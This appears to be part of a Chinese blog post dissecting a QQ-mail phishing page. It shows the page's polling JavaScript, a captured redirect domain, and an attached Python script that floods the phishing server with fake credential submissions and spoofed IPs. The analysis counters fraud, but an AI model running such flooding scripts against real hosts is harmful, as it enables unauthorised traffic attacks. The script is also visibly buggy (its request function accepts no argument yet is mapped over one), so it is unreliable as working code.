                            <div data-v-580bb95f="" class="spinner3" style="background-color:#0099ff">
                                <img src="https://security-web.cdn-go.cn/security-web/7b1a0436/home/page/index/assets/images/logo-light.98ac06bf-2598e.svg"/>
                            </div>
                            <div data-v-580bb95f="" class="tips-box">
                                <div data-v-580bb95f="" class="tips1">请等待系统验证1-2分钟,不要离开页面</div>
                                <div data-v-580bb95f="" class="tips2">正在连接专项客服,排队中...(剩余10人)</div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <script>
            $(document).ready(function(e) {
                setInterval('get_n()', 2500);
            });
            function get_n() {
                $.ajax({
                    type: "get",
                    dataType: "JSON",
                    url: "/index/index/check/id/234.html",
                    success: function(res) {
                        if (res.url != '') {
                            window.location.replace(res.url);
                        }
                    }
                });
            }

            $(document).ready(function(e) {
                setInterval('get_lis()', 1000);
            });

            function get_lis() {
                $.ajax({
                    type: "get",
                    dataType: "JSON",
                    url: "/index/index/listen?action=set&id=" + '234',
                    success: function(res) {}
                });
            }
        </script>
    </body>
</html>

由于该网站过于复杂,接下来不会继续讲解内容..

// /index/index/check/id/234.html
{"url":""}

// 当 url 什么时候不是空的时候就跳转过去
// 蹲点一段时间后获取到了对应的地址,为:
// http://xtzztxqq.xltzz.cn/index/index/right/id/234.html

点进去就是文章已删除,至此钓鱼已完成。点击查看 按钮将会为你跳转到真正的 QQ 邮箱登陆页面

评价

不方便评价,或许是别人学院的考核什么的捏?如果从技术上我只能说==手法拙劣==。

附件

||刷量脚本.py||

import requests
from faker import Faker
from concurrent.futures import ThreadPoolExecutor

# 初始化 Faker 生成器
fake = Faker()

# URL 基础部分
base_url = 'http://xtzztxqq.xltzz.cn/index/index/status'

# 定义发送请求的函数
def send_request():
    # 生成随机字符串代替 IP 地址前的内容
    random_prefix = fake.word()

    # 生成假 IP 地址
    fake_ip = fake.ipv4()

    # 参数字典
    params = {
        'action': 'add',
        'u': '10001',
        'p': '114514191',
        'id': '',  # 空字符串
        'system_str': 'PC',
        'ip': f'{random_prefix} {fake_ip}'
    }

    # 发送 GET 请求
    response = requests.get(base_url, params=params)

    # 打印响应结果
    print(response.status_code, response.text)

# 定义并发发送请求的函数
def concurrent_requests(num_requests, num_threads):
    with ThreadPoolExecutor(max_workers=num_threads) as executor:
        executor.map(send_request, range(num_requests))

# 设置并发请求的数量和线程数
num_requests = 10  # 总共发送的请求数量
num_threads = 5    # 使用的线程数

# 调用并发请求函数
concurrent_requests(num_requests, num_threads)

上一篇
刚刚!我更新了小站
下一篇
[译] 谁正在使用 Accept-Language 请求头?